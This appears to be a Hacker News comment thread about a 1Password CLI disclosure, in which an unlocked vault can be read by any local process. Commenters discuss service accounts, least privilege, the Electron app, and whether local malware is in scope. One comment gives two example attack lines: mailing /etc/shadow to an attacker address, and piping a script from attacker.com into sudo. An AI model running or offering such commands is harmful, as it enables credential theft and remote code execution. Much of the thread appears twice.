I really wish I could restrict CLI access to 1Password per vault (or even per item).
When I briefly tried Kamal, it made me very uncomfortable for a script to ask for access to my entire 1Password - every login, credit card, etc. While I do not think Kamal is malicious, in the context of all the constant supply chain attacks, saying yes to anything like that seems extremely irresponsible.
This seems like an area where there'd be obvious value in applying the principle of least privilege, so I was surprised when I couldn't find any granularity to the CLI permissions in 1Password.
This is the takeaway from this disclosure. Everyone using op should create a service account and expose only the secrets that need access via the CLI. That greatly decreases the attack surface.
And makes it invisible if you’re compromised in a supply chain attack.
The flip side would be, you install your dependencies, and one tries to run `op …` and you get a 1Password popup on your screen, which should surprise you because you didn’t run `op` yet. Supply chain attack mitigated (maybe).
With a service account there is no prompt and your secrets, though now more limited in scope, and exfiltrated successfully and silently.
Service accounts are definitely not the silver bullet. 1Password should just add more fine-grained permissions and prompting options to get closer to an ideal solution.
One thing that's very cool about 1Password is that they expose a lot of their more enterprisey features even on regular subs. I'm able to use 1Password for secret storage on my at-home k8s cluster without any kind of special business account.
A service account sounds like one step forward, two steps back.
It can limit the scope of accessible vaults, which can help but only if you do the legwork of keeping multiple copies of secrets in separate vaults and managing service account tokens.
But the token is just in an environment variable, which if we’re worried about this supply chain malicious library scenario, is no different than keeping your secrets in a plain text .env file.
And worse, a service account doesn’t prompt the user.
The functionality of `op run —env-file .env — some_app` which then prompts the developer is what we’d want in a dev environment, just with finer grained permissions and options to prompt every time.
But realistically, if someone can execute code on your computer, they can get to your entire 1Password account through scraping the app, key logging, sending keystrokes and screenshotting, etc.
Low-risk in terms of what? They’re superficially similar only in that both cache authentication for convenience. But the consequences are totally different. Sudo caches auth to let you run privileged commands locally; it doesn’t hand secrets to other processes. An unlocked 1Password CLI session can be abused by any code that can call the CLI (or read its session token) to export and ship vault contents, that’s an exfiltration vector, not just local privilege reuse. I’d rate that much higher risk personally.
the chance the dependency you've just updated and your vault being unlocked at the same exact time, if someone is attacked by a malicious dependency you have bigger problems to worry about.
To an extent, in that once you've unlocked your vault you now have access to it without having to type a password every time (convenience). Of course, the implications of this are far worse, in that you've now sent me (the hacker) all credentials in your vault. I'd say this has less to do with a password manager and more to do with using MFA so that the credentials alone are worthless.
This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.
"It rather involved being on the other side of this airtight hatchway."
Yes. It is a nice report that does not engage with 1password's security model at all. 1password specifically says that they do not think it is feasible to defend against locally executing malware.
“Not feasible” except that the author of the article provided a list of relatively low-effort solutions that 1Password could implement to improve the situation.
I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
Especially Apple works on that on the iPhone by scanning every new app and leave the customer only install that one that are signed by Apple itself. And they still fail with it.
Sidenote, but nice to see a few more Codeberg links popping up instead of the ubiquitous GitHub. Maybe we’re decentralising a little more in this area.
To limit the attack surface here, maybe follow the permissions model on macOS, access a credential = TouchID/Password each time, just limiting dependencies, still leaves a large attack surface of accessing everything if an attacker is able to find a route through, that’s what they’re looking for is everything right there, somehow some way.
> This investigation took a while, and I waited a while before publishing this disclosure (life circumstances and giving 1Password time to fix the issue).
Sounds like the person really came from a supportive place and hoped things would get sorted out. And had life intervene along the way maybe.
If someone has arbitrary code execution on your machine as your user, then of course they can access things your user can access.
They could just as easily keylog your password, or replace the onepassword-cli binary with one that exfiltrates data, or steal your browser cookie to get into your email account and use that to hijack recovery flows...
I’m surprised the CLI doesn’t asked permission for each program trying to access it, when using their SSH agent I get a popup for any program (then it unlock that key for that program until session ends).
People dismissing this vulnerability miss the point of a password manager which is to protect in such scenario where code gets executed on a machine but at least the data is encrypted, of course in that scenario the attacker can get access to the plain text env variables anyway that the developers has on their machine but at least it is not ALL of your credentials like in this case.
Service Account can limit the blast radius BUT you’ll end up saving that API token in your env anyway giving access to anyone executing malicious code…
Using their CLI is dangerous if they haven’t done anything to protect in this scenario. Did they have any comments in that vulnerability and how they want to mitigate it?
Why not simply return the value of the requested items and that’s it? Why unlock everything in a CLI scenario, surely the most common case is simply grabbing a single item like a .env for a project and that’s it.
I believe the CLI _does_ ask permission for each program trying to access it. The author's example includes a malicious vscode extension abusing the fact that he intentionally granted vscode permission to access the vault for one purpose and then a malicious extension leveraged that access to retrieve information through the op cli.
When I execute code on your machine, you are lost. Simply like that.
Don't store important passwords on your machine in a single point of failure. It's safer to store them unencrypted in a wrong named textfile than on the place where everyone will look automacially at first.
But more secury is it to NOT store them at all on your machine.
1Password used to be good 10 years ago, but not anymore. A couple of days ago, there was a post about Electron based apps that slow down macOS Tahoe (due to older versions of Electron using an undocumented API). When I ran the script on my laptop, 1Password was on the top of the list.
> 1Password.app: Electron 37.3.1 (Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework)
Edit: Judging by the downvotes, it looks like there are a lot of electron lovers here. Why the hate for more efficient native apps? Are bloated binaries, janky UI and lower battery life, features? :)
1Password used to ship native (aka "Mac-assed") apps. They (relatively, in the software's history) recently switched to Electron instead of continuing native app development.
So again, how does an Electron bug become 1Password's fault?
It's cross-platform and integrates with browsers so it makes sense they would want to use a cross-platform JavaScript solution as much as possible. Not just to make their developers more efficient, but to reduce the surface area for bugs and vulnerabilities.
Personally, I use it as much for other secrets as for browser passwords. Social security numbers, software licenses (not so much anymore), password reset questions, passwords I can't paste (for work), etc.
I don't use a plugin. Never tried it, simply never mattered enough (and I generally store frequently-used browser passwords in the browser's keychain as well).
Genuinely curious: why would you pay for 1Password but then use your browser's password manager? Now you have to keep track of updating passwords in two places? Or remembering which sites are stored in which password manager? That's breaking my brain.
I guess you're being downvoted because you've just now realized that 1password is electron-based and you're using that discovery it to retro-actively confirm your pre-existing bias that electron = bad.
If electron was actually always bad, you wouldn't need a script to scan your machine and tell you which apps to hate, you'd just know "yep that's slop" upon first opening the app. Yet that is not the case. Because electron is a tool, and it's sometimes used so well that you don't even notice it until you run a script.
I really wish I could restrict CLI access to 1Password per vault (or even per item).
When I briefly tried Kamal, it made me very uncomfortable for a script to ask for access to my entire 1Password - every login, credit card, etc. While I do not think Kamal is malicious, in the context of all the constant supply chain attacks, saying yes to anything like that seems extremely irresponsible.
This seems like an area where there'd be obvious value in applying the principle of least privilege, so I was surprised when I couldn't find any granularity to the CLI permissions in 1Password.
This is the takeaway from this disclosure. Everyone using op should create a service account and expose only the secrets that need access via the CLI. That greatly decreases the attack surface.
And makes it invisible if you’re compromised in a supply chain attack.
The flip side would be, you install your dependencies, and one tries to run `op …` and you get a 1Password popup on your screen, which should surprise you because you didn’t run `op` yet. Supply chain attack mitigated (maybe).
With a service account there is no prompt and your secrets, though now more limited in scope, and exfiltrated successfully and silently.
Service accounts are definitely not the silver bullet. 1Password should just add more fine-grained permissions and prompting options to get closer to an ideal solution.
I agree with this. It would be nice if there was an option, per item in 1PW, that allowed a popup for access via the service account.
Use a service account via cli?
Oh neat, I didn't realise that was an option for personal accounts, I had incorrectly assumed they required a business sub. Thank you for the tip!
One thing that's very cool about 1Password is that they expose a lot of their more enterprisey features even on regular subs. I'm able to use 1Password for secret storage on my at-home k8s cluster without any kind of special business account.
A service account sounds like one step forward, two steps back.
It can limit the scope of accessible vaults, which can help but only if you do the legwork of keeping multiple copies of secrets in separate vaults and managing service account tokens.
But the token is just in an environment variable, which if we’re worried about this supply chain malicious library scenario, is no different than keeping your secrets in a plain text .env file.
And worse, a service account doesn’t prompt the user.
The functionality of `op run —env-file .env — some_app` which then prompts the developer is what we’d want in a dev environment, just with finer grained permissions and options to prompt every time.
But realistically, if someone can execute code on your computer, they can get to your entire 1Password account through scraping the app, key logging, sending keystrokes and screenshotting, etc.
is this just a "vulnerability" in the same way sudo doesn't ask for password for a short time after first use ?
only applies to the current terminal session, this applied from any session including build sub-sessions.
but yah, you're right it's a very low-risk attack.
Low-risk in terms of what? They’re superficially similar only in that both cache authentication for convenience. But the consequences are totally different. Sudo caches auth to let you run privileged commands locally; it doesn’t hand secrets to other processes. An unlocked 1Password CLI session can be abused by any code that can call the CLI (or read its session token) to export and ship vault contents, that’s an exfiltration vector, not just local privilege reuse. I’d rate that much higher risk personally.
the chance the dependency you've just updated and your vault being unlocked at the same exact time, if someone is attacked by a malicious dependency you have bigger problems to worry about.
sudo cat /etc/shadow | mail attacker@gmail.com
or wget https://attacker.com/install_special_pam_bypass.sh | sudo install_special_pam_bypass.sh
Could a terminal not cross access whatever properties the sudo time-out sets on another terminal session? E.g via /proc?
no, because the session you are in does not have access to edit /proc and in some instances even read /proc.
To an extent, in that once you've unlocked your vault you now have access to it without having to type a password every time (convenience). Of course, the implications of this are far worse, in that you've now sent me (the hacker) all credentials in your vault. I'd say this has less to do with a password manager and more to do with using MFA so that the credentials alone are worthless.
Yep.
This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.
"It rather involved being on the other side of this airtight hatchway."
Yes. It is a nice report that does not engage with 1password's security model at all. 1password specifically says that they do not think it is feasible to defend against locally executing malware.
“Not feasible” except that the author of the article provided a list of relatively low-effort solutions that 1Password could implement to improve the situation.
I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
Especially Apple works on that on the iPhone by scanning every new app and leave the customer only install that one that are signed by Apple itself. And they still fail with it.
For those not in the know, the hatchway quote is a reference to Raymond Chen’s 2006 blog post: https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31...
Which itself is a Hitchhiker's Guide to the Galaxy reference.
Sidenote, but nice to see a few more Codeberg links popping up instead of the ubiquitous GitHub. Maybe we’re decentralising a little more in this area.
To limit the attack surface here, maybe follow the permissions model on macOS, access a credential = TouchID/Password each time, just limiting dependencies, still leaves a large attack surface of accessing everything if an attacker is able to find a route through, that’s what they’re looking for is everything right there, somehow some way.
> Responsible disclosure was made via BugCrowd on 2nd October, 2023, and disclosure was authorized in January of 2024
I’m confused why this is just be publicly disclosed. It’s been known for 2 years!
> This investigation took a while, and I waited a while before publishing this disclosure (life circumstances and giving 1Password time to fix the issue).
Sounds like the person really came from a supportive place and hoped things would get sorted out. And had life intervene along the way maybe.
This is another case of being on the other side of an airtight hatchway: https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31...
If someone has arbitrary code execution on your machine as your user, then of course they can access things your user can access.
They could just as easily keylog your password, or replace the onepassword-cli binary with one that exfiltrates data, or steal your browser cookie to get into your email account and use that to hijack recovery flows...
I thought the same. Although, perhaps we have too few hatchways, and too much surface area inside each.
Great work and thank you for sharing! I will definitely disable the CLI integration. Hoping 1Password fixes the CLI flow soon.
I’m surprised the CLI doesn’t asked permission for each program trying to access it, when using their SSH agent I get a popup for any program (then it unlock that key for that program until session ends).
People dismissing this vulnerability miss the point of a password manager which is to protect in such scenario where code gets executed on a machine but at least the data is encrypted, of course in that scenario the attacker can get access to the plain text env variables anyway that the developers has on their machine but at least it is not ALL of your credentials like in this case.
Service Account can limit the blast radius BUT you’ll end up saving that API token in your env anyway giving access to anyone executing malicious code…
Using their CLI is dangerous if they haven’t done anything to protect in this scenario. Did they have any comments in that vulnerability and how they want to mitigate it?
Why not simply return the value of the requested items and that’s it? Why unlock everything in a CLI scenario, surely the most common case is simply grabbing a single item like a .env for a project and that’s it.
I believe the CLI _does_ ask permission for each program trying to access it. The author's example includes a malicious vscode extension abusing the fact that he intentionally granted vscode permission to access the vault for one purpose and then a malicious extension leveraged that access to retrieve information through the op cli.
When I execute code on your machine, you are lost. Simply like that.
Don't store important passwords on your machine in a single point of failure. It's safer to store them unencrypted in a wrong named textfile than on the place where everyone will look automacially at first. But more secury is it to NOT store them at all on your machine.
Is the described behavior still the default with `op` cli?
Yes. At least on macOS.
1Password used to be good 10 years ago, but not anymore. A couple of days ago, there was a post about Electron based apps that slow down macOS Tahoe (due to older versions of Electron using an undocumented API). When I ran the script on my laptop, 1Password was on the top of the list.
> 1Password.app: Electron 37.3.1 (Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework)
[1]: https://news.ycombinator.com/item?id=45437112
Edit: Judging by the downvotes, it looks like there are a lot of electron lovers here. Why the hate for more efficient native apps? Are bloated binaries, janky UI and lower battery life, features? :)
It's only on top of the list because it's likely to be first when you sort by app name.
That's a 47 day old release and the fix for the macOS issue only came out 7 days ago. Not critically out of date by any means.
How did you come to the conclusion that this very recent issue is 1Password’s fault and not Electron’s?
1Password used to ship native (aka "Mac-assed") apps. They (relatively, in the software's history) recently switched to Electron instead of continuing native app development.
So again, how does an Electron bug become 1Password's fault?
It's cross-platform and integrates with browsers so it makes sense they would want to use a cross-platform JavaScript solution as much as possible. Not just to make their developers more efficient, but to reduce the surface area for bugs and vulnerabilities.
1Password used to be an excellent native app. It's not surprising that many users (myself included) resent the enshittification.
I've used it for years and am only finding out today that it's Electron. And I couldn't care less.
99.9% of my usage is within the browser plugin anyways. And whenever I have to edit an entry, it works fine.
> 99.9% of my usage is within the browser plugin anyways.
If you don't (or barely) use the app, the app is not an issue to you; that seems pretty self-evident.
The experience for regular users may differ.
What is the problem with it? And isn't everyone using the browser plugin anyways mostly? Isn't that where the vast majority of passwords get entered?
Personally, I use it as much for other secrets as for browser passwords. Social security numbers, software licenses (not so much anymore), password reset questions, passwords I can't paste (for work), etc.
I don't use a plugin. Never tried it, simply never mattered enough (and I generally store frequently-used browser passwords in the browser's keychain as well).
Genuinely curious: why would you pay for 1Password but then use your browser's password manager? Now you have to keep track of updating passwords in two places? Or remembering which sites are stored in which password manager? That's breaking my brain.
You personally disliking something isnt enshittification.
It was done at roughly the same time that the company switched to a subscription model and their focus switched from consumer to business.
...shortly thereafter, Apple released their own Passwords app, largely Sherlocking 1Password from a consumer perspective.
If this had been your business, what would you have done? I would have done exactly what they did.
You raise an excellent point, and the truth is that I don't know.
That doesn't change the consumer perspective: I'm paying more for a worse product.
The nightly version(on Linux) is on 38.2.0
I guess you're being downvoted because you've just now realized that 1password is electron-based and you're using that discovery it to retro-actively confirm your pre-existing bias that electron = bad.
If electron was actually always bad, you wouldn't need a script to scan your machine and tell you which apps to hate, you'd just know "yep that's slop" upon first opening the app. Yet that is not the case. Because electron is a tool, and it's sometimes used so well that you don't even notice it until you run a script.
It used to be a native app.